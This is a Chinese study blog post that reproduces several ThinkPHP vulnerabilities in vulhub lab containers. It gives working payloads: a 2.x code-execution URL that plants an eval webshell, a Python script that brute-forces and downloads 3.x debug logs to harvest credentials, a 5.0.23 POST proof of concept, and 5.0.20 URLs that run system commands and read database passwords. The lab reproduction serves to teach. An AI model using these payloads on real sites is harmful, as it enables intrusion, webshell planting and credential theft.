寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列

提示:所分享内容仅用于每一个爱好者之间的技术讨论及教育目的,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本作者不承担相应的后果。

文章目录

  • 1.ThinkPHP 2.x 任意代码执行漏洞
  • 2. ThinkPHP 3.x 日志泄露漏洞
  • 3 ThinkPHP5 5.0.23远程代码执行漏洞
    • 4.ThinkPHP5 5.0.20远程代码执行漏洞
  • 总结

1.ThinkPHP 2.x 任意代码执行漏洞

漏洞成因:ThinkPHP 2.x版本中,使用preg_replace的 /e 模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

参考链接:https://www.freebuf.com/sectool/223149.html
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
提示:这里的/e在php中表示表示可执行模式

1.2、利用步骤
1、启动docker环境,启动thinkphp环境,没有配置环境的可以看这个链接https://blog.csdn.net/luluoluoa/article/details/115416478
2、访问ip+端口
寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列_第1张图片
提示:这里在PHP中${}里面可以执行函数

ThinkPHP的url规则:

thinkphp 所有的主入口文件默认访问index控制器(模块)

thinkphp 所有的控制器默认执行index动作(方法)

存在漏洞的static public function
dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

3、既然可以执行函数,我们可以构建payload,

http://192.168.190.128:8080/index.php/?s=/Index/index/name/${@phpinfo()}

注意上面的第一个index是模块,第二个index是方法,name是操作名,后面的是操作

寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列_第2张图片
4、构建一句话木马,并用蚁剑连接

http://192.168.190.128:8080/index.php/?s=/Index/index/name/${print(@eval($_POST[hacker]))}

寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列_第3张图片

2. ThinkPHP 3.x 日志泄露漏洞

漏洞原因
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
ThinkPHP默认安装后,也会在Runtime目录下生成日志
日志很容易被猜解到,而且日志里面有执行SQL语句的记录

漏洞利用过程

日志存储结构:
项目名\Runtime\Logs\Home\年份_月份_日期.log
THINKPHP3.2 日志结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1 日志结构:Runtime\Logs\Home\16_09_09.log
寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列_第4张图片
有的时候我们可以在用户登录日志中找到用户名和密码
放个参考链接
https://blog.csdn.net/weixin_40412037/article/details/113885372
github工具
https://github.com/JaneMandy/ThinkPHP_RCE
这是一款pthinkphp综合漏洞利用工具箱。
也可以用python代码

import requests
import sys


def logfile(year):
  
    logfilename = []
    for m in range(1, 13):
        for d in range(1, 32):
            m = str(m).rjust(2, '0')
            d = str(d).rjust(2, '0')
            logfilename.append("%s_%s_%s.log" % (year, m, d))
    return logfilename


def main():
    year = sys.argv[1]
    print(year)
    logfilename = logfile(year)
    for logname in logfilename:
        url = "http://www.webhack123.com/App/Runtime/Logs/" + logname //这里需要改成你的日志文件
        r = requests.get(url)
        if r.status_code == 200:
            print(url)
            with open(logname, "w", encoding="utf-8") as f:
                f.write(r.text)


if __name__ == '__main__':
    main()

3 ThinkPHP5 5.0.23远程代码执行漏洞

漏洞成因
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

参考链接 https://xz.aliyun.com/t/3570

漏洞利用过程
寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列_第5张图片
md,复现不出来,用工具扫出来了,但是贴一下poc

POST /index.php?s=captcha HTTP/1.1
Host: you_ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

寒假学习第11天--中间件漏洞--vulhub--thinkphp全系列_第6张图片

4.ThinkPHP5 5.0.20远程代码执行漏洞

漏洞原因
版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
漏洞复现
https://www.cnblogs.com/f-carey/p/17343752.html#tid-dXCjFT
https://xz.aliyun.com/t/3570

执行phpinfo:http://192.168.190.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
执行系统命令:http://192.168.190.128:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
查看数据库用户:http://192.168.190.128:8080/?s=.|think\config/get&name=database.username
查看数据库密码:http://192.168.190.128:8080/?s=.|think\config/get&name=database.password

总结

个人笔记,大佬勿喷,小六花祝你每天开心

你可能感兴趣的:(学习,安全)